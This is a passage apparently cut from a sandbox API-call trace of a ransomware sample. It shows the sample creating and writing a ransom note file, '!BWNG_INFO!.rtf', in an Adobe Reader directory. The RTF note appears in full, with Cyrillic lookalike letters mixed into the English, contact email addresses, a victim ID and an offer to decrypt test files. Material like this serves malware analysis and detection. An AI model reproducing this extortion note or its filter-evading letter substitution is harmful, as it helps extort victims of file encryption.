d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.526] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.527] CloseHandle (hObject=0x1cc) returned 1 [0040.527] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\!bwng_info!.rtf")) returned 0xffffffff [0040.527] GetLastError () returned 0x2 [0040.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 